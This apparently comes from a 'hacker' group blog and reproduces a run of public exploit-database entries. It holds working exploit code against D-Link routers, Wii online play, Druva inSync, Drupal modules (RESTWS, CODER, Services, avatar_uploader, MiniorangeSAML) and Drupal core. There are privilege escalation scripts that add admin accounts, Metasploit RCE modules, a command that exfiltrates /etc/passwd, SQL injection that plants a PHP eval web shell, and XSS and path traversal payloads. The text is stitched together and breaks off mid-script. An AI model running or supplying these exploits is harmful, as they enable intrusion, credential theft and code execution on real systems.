# Exploit Title: DSL-124 Wireless N300 ADSL2+ - Backup File Disclosure
# Date: 2022-11-10
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.dlink.com
# Software Link: https://dlinkmea.com/index.php/product/details?det=dU1iNFc4cWRsdUpjWEpETFlSeFlZdz09
# Firmware Version: ME_1.00
# Tested on: Windows 11
# [ Details - DSL-124 ]:
#The DSL-124 Wireless N300 ADSL2+ Modem Router is a versatile, high-performance router for a home or small office,
#With integrated ADSL2/2+, supporting download speeds up to 24 Mbps, firewall protection,
#Quality of Service (QoS),802.11n wireless LAN, and four Ethernet switch ports,
#the Wireless N300 ADSL2+ Modem Router provides all the functions that a user needs to establish a secure and high-speed link to the Internet.
# [ Description ]:
#After the administrator enters and a new session is created, the attacker sends a request using the post method in her system,
#and in response to sending this request, she receives a complete backup of the router settings,
#In fact this happens because of the lack of management of users and sessions in the network.
# [ POC ]:
Request :
curl -d "submit.htm?saveconf.htm=Back+Settings" -X POST http://192.168.1.1/form2saveConf.cgi
Response :
HTTP/1.1 200 OK
Connection: close
Server: Virtual Web 0.9
Content-Type: application/octet-stream;
Content-Disposition: attachment;filename="config.img"
Pragma: no-cache
Cache-Control: no-cache
<Config_Information_File_8671>
<V N="WLAN_WPA_PSK" V="pass@12345"/>
<V N="WLAN_WPA_PSK_FORMAT" V="0x0"/>
<V N="WLAN_WPA_REKEY_TIME" V=""/>
<V N="WLAN_ENABLE_1X" V="0x0"/>
<V N="WLAN_ENABLE_MAC_AUTH" V="0x0"/>
<V N="WLAN_RS_IP" V="0.0.0.0"/>
.
.
.
</Config_Information_File_8671>
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863153550
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: DS Wireless Communication Remote Code Execution
# Date: 11 Oct 2023
# Exploit Author: MikeIsAStar
# Vendor Homepage: https://www.nintendo.com
# Version: Unknown
# Tested on: Wii
# CVE: CVE-2023-45887
"""This code will inject arbitrary code into a client's game.
You are fully responsible for all activity that occurs while using this code.
The author of this code can not be held liable to you or to anyone else as a
result of damages caused by the usage of this code.
"""
import re
import sys
try:
import pydivert
except ModuleNotFoundError:
sys.exit("The 'pydivert' module is not installed !")
# Variables
LR_SAVE = b'\x41\x41\x41\x41'
assert len(LR_SAVE) == 0x04
PADDING = b'MikeStar'
assert len(PADDING) > 0x00
# Constants
DWC_MATCH_COMMAND_INVALID = b'\xFE'
PADDING_LENGTH = 0x23C
FINAL_KEY = b'\\final\\'
WINDIVERT_FILTER = 'outbound and tcp and tcp.PayloadLength > 0'
def try_modify_payload(payload):
message_pattern = rb'\\msg\\GPCM([1-9][0-9]?)vMAT'
message = re.search(message_pattern, payload)
if not message:
return None
payload = payload[:message.end()]
payload += DWC_MATCH_COMMAND_INVALID
payload += (PADDING * (PADDING_LENGTH // len(PADDING) + 1))[:PADDING_LENGTH]
payload += LR_SAVE
payload += FINAL_KEY
return payload
def main():
try:
with pydivert.WinDivert(WINDIVERT_FILTER) as packet_buffer:
for packet in packet_buffer:
payload = try_modify_payload(packet.payload)
if payload is not None:
print('Modified a GPCM message !')
packet.payload = payload
packet_buffer.send(packet)
except KeyboardInterrupt:
pass
except PermissionError:
sys.exit('This program must be run with administrator privileges !')
if __name__ == '__main__':
main()
# Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation (PowerShell)
# Date: 2020-12-03
# Exploit Author: 1F98D
# Original Author: Matteo Malvica
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi
# Version: 6.6.3
# Tested on: Windows 10 (x64)
# CVE: CVE-2020-5752
# References: https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/
# Druva inSync exposes an RPC service which is vulnerable to a command injection attack.
$ErrorActionPreference = "Stop"
$cmd = "net user pwnd /add"
$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)
$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
# Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation
# Date: 2020-05-21
# Exploit Author: Matteo Malvica
# Credits: Chris Lyne for previous version's exploit
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi
# Version: 6.6.3
# Tested on: Windows 10 1909-18363.778
# CVE: CVE-2020-5752
# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation
# The path validation has been only implemented through a 'strncmp' function which can be bypassed by
# appending a directory traversal escape sequence at the end of the valid path.
# Writeup: https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/
# Example usage:
#python insync.py "windows\system32\cmd.exe /C net user Leon /add"
#python insync.py "windows\system32\cmd.exe /C net localgroup Administrators Leon /add"
import socket
import struct
import sys
if len(sys.argv) < 2:
print "Usage: " + __file__ + " <quoted command to execute>"
print "E.g. " + __file__ + " \"net user /add tenable\""
sys.exit(0)
ip = '127.0.0.1'
port = 6064
command_line = 'C:\\ProgramData\\Druva\\inSync4\\..\\..\\..\\..\\..\\..\\..\\..\\' + sys.argv[1]
def make_wide(str):
new_str = ''
for c in str:
new_str += c
new_str += '\x00'
return new_str
hello = "inSync PHC RPCW[v0002]"
func_num = "\x05\x00\x00\x00" # 05 is to run a command, passed as an agrument to CreateProcessW
command_line = make_wide(command_line) # converts ascii to UTF-8
command_length = struct.pack('<i', len(command_line)) # packed as little-endian integer
requests = [ hello, func_num, command_length, command_line ] # sends each request separately
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
i = 1
for req in requests:
print 'Sending request' + str(i)
sock.send(req)
i += 1
sock.close()
print "Done."
# Exploit Title: Druva inSync Windows Client 6.5.2 - Local Privilege Escalation
# Date: 2020-04-28
# Exploit Author: Chris Lyne
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.5.2/inSync6.5.2r99097.msi
# Version: 6.5.2
# Tested on: Windows 10
# CVE : CVE-2019-3999
# See also: https://www.tenable.com/security/research/tra-2020-12
import socket
import struct
import sys
# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation
if len(sys.argv) < 2:
print "Usage: " + __file__ + " <quoted command to execute>"
print "E.g. " + __file__ + " \"net user /add tenable\""
sys.exit(0)
ip = '127.0.0.1'
port = 6064
command_line = sys.argv[1]
# command gets passed to CreateProcessW
def make_wide(str):
new_str = ''
for c in str:
new_str += c
new_str += '\x00'
return new_str
hello = "inSync PHC RPCW[v0002]"
func_num = "\x05\x00\x00\x00" # 05 is to run a command
command_line = make_wide(command_line)
command_length = struct.pack('<i', len(command_line))
# send each request separately
requests = [ hello, func_num, command_length, command_line ]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
i = 1
for req in requests:
print 'Sending request' + str(i)
sock.send(req)
i += 1
sock.close()
print "Done."
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
'Description' => %q{
This module exploits the Drupal RESTWS module vulnerability.
RESTWS alters the default page callbacks for entities to provide
additional functionality. A vulnerability in this approach allows
an unauthenticated attacker to send specially crafted requests resulting
in arbitrary PHP execution
This module was tested against RESTWS 7.x with Drupal 7.5
installation on Ubuntu server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Devin Zuczek', # discovery
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['URL', 'https://www.drupal.org/node/2765567'],
['URL',
'https://www.mehmetince.net/exploit/drupal-restws-module-7x-remote-php-code-execution']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jul 13 2016',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the
Drupal installation", '/'])
], self.class
)
end
def check
r = rand_text_alpha(8 + rand(4))
url = normalize_uri(target_uri.path, "?q=taxonomy_vocabulary/", r
, "/passthru/echo%20#{r}")
res = send_request_cgi(
'method' => 'GET',
'uri' => url
)
if res && res.body =~ /#{r}/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
random = rand_text_alpha(1 + rand(2))
url = normalize_uri(target_uri.path,
"?q=taxonomy_vocabulary/",
random ,
"/passthru/",
Rex::Text.uri_encode("php -r
'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'")
)
send_request_cgi(
'method' => 'GET',
'uri' => url
)
end
end
# Exploit Title: Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation via XML Signature Wrapping
# Date: 09/07/2021
# Exploit Author: Cristian 'void' Giustini
# Vendor Homepage: https://www.miniorange.com/
# Software Link: https://www.drupal.org/project/miniorange_saml
# Version: 8.x-2.22 (REQUIRED)
# Tested on: Linux Debian (PHP 8.0.7 with Apache/2.4.38)
# Original article: https://blog.hacktivesecurity.com/index.php/2021/07/09/sa-contrib-2021-036-notsosaml-privilege-escalation-via-xml-signature-wrapping-on-minorangesaml-drupal-plugin/
# Drupal Security Advisory URL: https://www.drupal.org/sa-contrib-2021-036
---
The MiniorangeSAML Drupal Plugin v. 8.x-2.22 is vulnerable to XML
Signature Wrapping Attacks that could allows an attacker to perform
privilege escalation attacks.
In order to exploit the vulnerability, the plugin must be configured
with the "Either SAML reponse or SAML assertion must be signed" options
enabled and an empty "x509 certificate".
Administrator point of view:
- Install a Drupal version (for the PoC the version 9.1.10 has been used)
- Configure an external SSO system like Auth0
- Configure the plugin with the Auth0 provider by checking the "Either
SAML response or SAML assertion must be signed" and empty "x509 certificate"
Attacker point of view:
- Register a normal user on the website
- Perform a login
- Intercept the request with Burp Suite and decode the SAMLResponse
parameter
- Inject an additional <Saml:Assertion> object before the original one
(example here:
https://gist.github.com/voidz0r/30c0fb7be79abf8c79d1be9d424c9e3b#file-injected_object-xml)
(SAMLRaider Burp extension, XSW3 payload)
<saml:Assertion ID="_evil_assertion_ID" IssueInstant="2021-06-23T21:04:01.551Z" Version="2.0"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Issuer>urn:miniorange-research.eu.auth0.com</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">admin</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData InResponseTo="_f1e26bb0bd40be366c543e2c3fe0215747f40dadbb" NotOnOrAfter="2021-06-23T22:04:01.551Z" Recipient="http://localhost:8080/samlassertion"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2021-06-23T21:04:01.551Z" NotOnOrAfter="2021-06-23T22:04:01.551Z">
<saml:AudienceRestriction>
<saml:Audience>http://localhost:8080</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2021-06-23T21:04:01.551Z" SessionIndex="_WWwvhpmMv5eJI4bwPdsPAiasFpTH8gt_">
<saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.auth0.com/identities/default/connection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">Username-Password-Authentication</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.auth0.com/identities/default/provider" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">auth0</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.auth0.com/identities/default/isSocial" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:boolean">false</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.auth0.com/clientID" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">8bbK44pPnBAqzN49pSuwmgdhgsZavkNI</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.auth0.com/created_at" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:anyType">Wed Jun 23 2021 21:01:51 GMT+0000 (Coordinated Universal Time)</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.auth0.com/email_verified" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:boolean">false</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.auth0.com/nickname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">test</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.auth0.com/picture" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:string">https://s.gravatar.com/avatar/55502f40dc8b7c769880b10874abc9d0?s=480&r=pg&d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fte.png</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.auth0.com/updated_at" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xsi:type="xs:anyType">Wed Jun 23 2021 21:01:51 GMT+0000 (Coordinated Universal Time)</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
- Replace the username with one with higher privileges (like admin)
- Submit the request
- Successful exploitation
source: https://www.securityfocus.com/bid/54179/info
Drag & Drop Gallery is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
Drag & Drop Gallery 6.X-1.5 is vulnerable; other versions may also be affected.
<?php
$uploadfile="db.php.gif";
$uploadfile2="lo.php.gif";
$ch = curl_init("http://www.example.com/drupal/sites/all/modules/dragdrop_gallery/upload.php?nid=1&filedir=/drupal/sites/all/modules/dragdrop_gallery/");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('user_file[0]'=>"@$uploadfile",
'user_file[1]'=>"@$uploadfile2"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => 'Drupal CODER Module Remote Command Execution',
'Description' => %q{
This module exploits a Remote Command Execution vulnerability in
Drupal CODER Module. Unauthenticated users can execute arbitrary command
under the context of the web server user.
CODER module doesn't sufficiently validate user inputs in a script file
that has the php extension. A malicious unauthenticated user can make
requests directly to this file to execute arbitrary command.
The module does not need to be enabled for this to be exploited
This module was tested against CODER 2.5 with Drupal 7.5 installation on Ubuntu server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicky Bloor', # discovery
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['URL', 'https://www.drupal.org/node/2765575']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 225,
'DisableNops' => true,
'BadChars' => "\x00\x2f",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'netcat netcat-e'
},
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jul 13 2016',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']),
OptAddress.new('SRVHOST', [true, 'Bogus web server host to receive request from target and deliver payload']),
OptPort.new('SRVPORT', [true, 'Bogus web server port to listen'])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
)
if res && res.code == 200
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def on_request_uri(cli, _request)
print_status("Incoming request detected...")
p = ''
p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}'
p << 's:11:"theme_cache";s:16:"theme_cache_test";'
p << 's:9:"variables";s:14:"variables_test";'
p << 's:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}'
p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
p << 's:7:"new_dir";s:'
p << (payload.encoded.length + 14).to_s
p << ':"f --help && '
p << payload.encoded
p << ' #";s:4:"name";s:4:"test";}}}'
print_status("Sending payload...")
send_response(cli, p)
end
def exploit
start_service
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
'encode_params' => false,
'vars_get' => {
'file' => get_uri
}
)
stop_service
end
end
<?php
# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name)
#
# E-DB Note: Source ~ https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5
$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/";
$a = array(
"upgrades" => array(
"coder_upgrade" => array(
"module" => "color",
"files" => array("color.module")
)
),
"extensions" => array("module"),
"items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
"paths" => array(
"modules_base" => "../../../",
"files_base" => "../../../../sites/default/files"
)
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
?>
# Exploit Title: Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS)
# Date: 2022-03-22
# Author: Milad karimi
# Software Link: https://www.drupal.org/project/avatar_uploader
# Version: v7.x-1.0-beta8
# Tested on: Windows 10
# CVE: N/A
1. Description:
This plugin creates a avatar_uploader from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.
2. Proof of Concept:
http://$target/avatar_uploader.pages.inc?file=<script>alert("test")</script>
#Title: Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure
#Author: Larry W. Cashdollar
#Date: 2018-03-30
#CVE-ID: CVE-2018-9205
#Download Site: https://www.drupal.org/project/avatar_uploader
#Vendor: https://www.drupal.org/u/robbinzhao
#Vendor Notified: 2018-04-02
#Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146
#Advisory: http://www.vapidlabs.com/advisory.php?v=202
#Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others.
#Vulnerability:
#The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the path to outside of the uploadDir directory:
<?php
$file = $_GET['file'];
echo file_get_contents("uploadDir/$file");
exit;
Exploit Code:
http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/drupal-services-module-rce
#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
#
# Initialization
error_reporting(E_ALL);
define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');
$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';
$file = [
'filename' => 'dixuSOspsOUU.php',
'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
];
$browser = new Browser($url . $endpoint_path);
# Stage 1: SQL Injection
class DatabaseCondition
{
protected $conditions = [
"#conjunction" => "AND"
];
protected $arguments = [];
protected $changed = false;
protected $queryPlaceholderIdentifier = null;
public $stringVersion = null;
public function __construct($stringVersion=null)
{
$this->stringVersion = $stringVersion;
if(!isset($stringVersion))
{
$this->changed = true;
$this->stringVersion = null;
}
}
}
class SelectQueryExtender {
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is controlled by us.
protected $query = null;
protected $uniqueIdentifier = QID;
protected $connection;
protected $placeholder = 0;
public function __construct($sql)
{
$this->query = new DatabaseCondition($sql);
}
}
$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query =
"0x3a) UNION SELECT ux.uid AS uid, " .
"ux.name AS name, '$password_hash' AS pass, " .
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
"ux.pass AS signature_format, ux.created AS created, " .
"ux.access AS access, ux.login AS login, ux.status AS status, " .
"ux.timezone AS timezone, ux.language AS language, ux.picture " .
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
"WHERE ux.uid<>(0"
;
$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);
$json = $browser->post(TYPE_PHP, $data);
# If this worked, the rest will as well
if(!isset($json->user))
{
print_r($json);
e("Failed to login with fake password");
}
# Store session and user data
$session = [
'session_name' => $json->session_name,
'session_id' => $json->sessid,
'token' => $json->token
];
store('session', $session);
$user = $json->user;
# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);
# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);
store('user', $user);
if($cache === false)
{
e("Unable to obtains endpoint's cache value");
}
x("Cache contains " . sizeof($cache) . " entries");
# Stage 2: Change endpoint's behaviour to write a shell
class DrupalCacheArray
{
# Cache ID
protected $cid = "services:endpoint_name:resources";
# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
protected $bin = 'cache';
protected $keysToPersist = [];
protected $storage = [];
function __construct($storage, $endpoint, $controller, $action) {
$settings = [
'services' => ['resource_api_version' => '1.0']
];
$this->cid = "services:$endpoint:resources";
# If no endpoint is given, just reset the original values
if(isset($controller))
{
$storage[$controller]['actions'][$action] = [
'help' => 'Writes data to a file',
# Callback function
'callback' => 'file_put_contents',
# This one does not accept "true" as Drupal does,
# so we just go for a tautology
'access callback' => 'is_string',
'access arguments' => ['a string'],
# Arguments given through POST
'args' => [
0 => [
'name' => 'filename',
'type' => 'string',
'description' => 'Path to the file',
'source' => ['data' => 'filename'],
'optional' => false,
],
1 => [
'name' => 'data',
'type' => 'string',
'description' => 'The data to write',
'source' => ['data' => 'data'],
'optional' => false,
],
],
'file' => [
'type' => 'inc',
'module' => 'services',
'name' => 'resources/user_resource',
],
'endpoint' => $settings
];
$storage[$controller]['endpoint']['actions'] += [
$action => [
'enabled' => 1,
'settings' => $settings
]
];
}
$this->storage = $storage;
$this->keysToPersist = array_fill_keys(array_keys($storage), true);
}
}
class ThemeRegistry Extends DrupalCacheArray {
protected $persistable;
protected $completeRegistry;
}
cache_poison($endpoint, $cache);
# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));
# Stage 3: Restore endpoint's behaviour
cache_reset($endpoint, $cache);
if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
e("Failed to write file.");
}
$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");
# HTTP Browser
class Browser
{
private $url;
private $controller = CONTROLLER;
private $action = ACTION;
function __construct($url)
{
$this->url = $url;
}
function post($type, $data)
{
$headers = [
"Accept: " . TYPE_JSON,
"Content-Type: $type",
"Content-Length: " . strlen($data)
];
$url = $this->url . '/' . $this->controller . '/' . $this->action;
$s = curl_init();
curl_setopt($s, CURLOPT_URL, $url);
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
curl_setopt($s, CURLOPT_POST, 1);
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($s);
$error = curl_error($s);
curl_close($s);
if($error)
{
e("cURL: $error");
}
return json_decode($output);
}
}
# Cache
function cache_poison($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
cache_edit($tr);
}
function cache_reset($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, null, null);
cache_edit($tr);
}
function cache_edit($tr)
{
global $browser;
$data = serialize([$tr]);
$json = $browser->post(TYPE_PHP, $data);
}
# Utils
function x($message)
{
print("$message\n");
}
function e($message)
{
x($message);
exit(1);
}
function store($name, $data)
{
$filename = "$name.json";
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
x("Stored $name information in $filename");
}
<?php
// _____ __ __ _ _______
// / ___/___ / /__/ /_(_)___ ____ / ____(_)___ _____
// \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/
// ___/ / __/ ,< / /_/ / /_/ / / / / /___/ / / / (__ )
// /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <stefan.horst@sektioneins.de>
//·
include 'common.inc';
include 'password.inc';
// set values
$user_name = 'admin';
$url = isset($argv[1])?$argv[1]:'';
$user_id = isset($argv[2])?intval($argv[2]):1;
if ($url == '-h') {
echo "usage:\n";
echo $argv[0].' $url [$user_id]'."\n";
die();
}
if (empty($url) || strpos($url,'https') === False) {
echo "please state the cookie url. It works only with https urls.\n";
die();
}
if (strpos($url, 'www.') === 0) {
$url = substr($url, 4);
}
$url = rtrim($url,'/');
list( , $session_name) = explode('://', $url, 2);
// use insecure cookie with sql inj.
$cookieName = 'SESS' . substr(hash('sha256', $session_name), 0, 32);
$password = user_hash_password('test');
$session_id = drupal_random_key();
$sec_ssid = drupal_random_key();
$inject = "UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','127.0.0.1',0,0,null -- ";
$cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;
// send the request to the server
$ch = curl_init($url);
curl_setopt($ch,CURLOPT_HEADER,True);
